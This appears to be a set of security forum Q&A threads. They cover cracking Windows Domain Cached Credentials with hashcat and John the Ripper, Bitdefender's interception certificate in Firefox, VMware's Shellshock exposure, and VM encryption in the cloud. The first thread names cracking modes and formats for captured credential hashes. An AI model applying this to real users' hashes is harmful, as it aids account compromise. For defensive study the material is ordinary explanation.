Warning: detected hash type "LM", but the string is also recognized as "ripemd-128"
Use the "--format=ripemd-128" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "Snefru-128"
Use the "--format=Snefru-128" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "NT-old"
Use the "--format=NT-old" option to force loading these as that type instead

hashcat will attempt to crack (using the -m 1000 flag for NTLM hash types) if the format is just the digest (as in the hash-identifier input example above.)

I take it they cannot be used in a "pass the hash" attack as the digest appears  to be the cached NT Hash (unsalted MD4) credential type. https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/hh994565(v=ws.11)

Apart from revealing usernames, what use are these hashes in this form to an attacker? Any guidance would be great!

DCC are their own format. In JtR, they are:

mscash-opencl
mscash2-opencl

... and in hashcat, they are:

1100 | Domain Cached Credentials (DCC), MS Cache        | Operating Systems
2100 | Domain Cached Credentials 2 (DCC2), MS Cache 2   | Operating Systems

As you noted, while these can be cracked, they cannot be used in pass-the-hash. They are also not guaranteed to be current - so even if you crack them, they may represent a now-expired password that cannot be used for "live", online authentication.


Am I safe after importing Bitdefender's fake certificate? I installed Bitdefender today and suddenly I couln't navigate to numerous websites that I used to visit (I use Mozilla Firefox). I got the error: SEC_ERROR_UNKNOWN_ISSUER.

I searched a bit and found this solution which suggested to import a fake certificate located in Bitdefender's installation folder to Firefox.

What impact will this fake certificate have on my PC's security?

Bitdefender web protection is validating the certificate before reaches your browser but the certificate root itself is modified/removed/replaced by agent before sent to browser.

Now a days the browser(firefox/chrome) itself is also validating the certificate, as the certificate root/chain is modified/replaced by the one from bitdefender agent, this re-validation process by browser fail : The certificate root in chain is not signed by known agency. (Bitdefender is not the agency which issues the certificate.)

If you trust the Agent like bitdefender/avast then you can import their face/temp certificate into your browser so that browser can trust the certificate signed by them.

This avoids the browser throwing the certificate error next time.


Is vmware vulnerable to shellshock? We have tons of vmware hosted servers in our DMZ environment, with the recent shellshock bash bug, what do I need to do to protect our environment?

The vSECR Team has been actively investigating CVE-2014-6271 aka “Shell Shock” and its impact on their products. Currently VMware has determined that ESXi is not affected and neither are Windows based products including vCenter for Windows. Investigation into other products is ongoing.

For now you are probably safe, but stay tuned! Check http://www.vmware.com/company/news/releases often


Encrypt Virtual Machine in the cloud I am no expert when it comes to security in virtualized environments.

However a problem I always saw is: What happens if the host OS gets hacked and an attacker gains administrative privileges?

How can I protect a VM in the (public) cloud against such threats?

As far as I know there do exist solutions like encrypting the storage layer or encrypting the VM's RAM. Unfortunately I never saw a tutorial describing how to apply those techniques. Are there instructions on how to do this without resorting to one of the providers' proprietary solutions?

While Thomas Pornin is correctly pointing out that the only way to trust a host under attack is using fully homomorphic encryption in practice you can try to work around this requirement.

A potential attacker has full control of CPU, memory and disk. So it is not possible to do any calculations on valuable data in a VM that might not be under your control. On the other hand it is often not necessary. If you want to use your VM as a database or storage / backup service the VM never needs access to unencrypted information. You could store files or entries in a database, store hashes of the encrypted files or file names and e.g. sort for file size or retrieve a certain file where the client supplies the file name as a hash value.

Such a scheme limits what you can do with your data but given a good encryption it is impossible for an attacker to steal your data. In the worst case they can modify it, so you need encrypted signatures to prevent tampering of the data.

A popular example is boxcryptor, which uses an encrypted container to store files securely at different cloud providers. Another is duplicity, which allows encrypted backups using rsync and GnuPG.

Encrypting the storage of the VM itself by, e.g. truecrypt or Bitlocker does not increase the security level significantly. It might thwart an attack if the VM is powered off but as soon as you run it the OS needs the key to access the encrypted volume and at that moment a potential attacker can get hold of the key as well.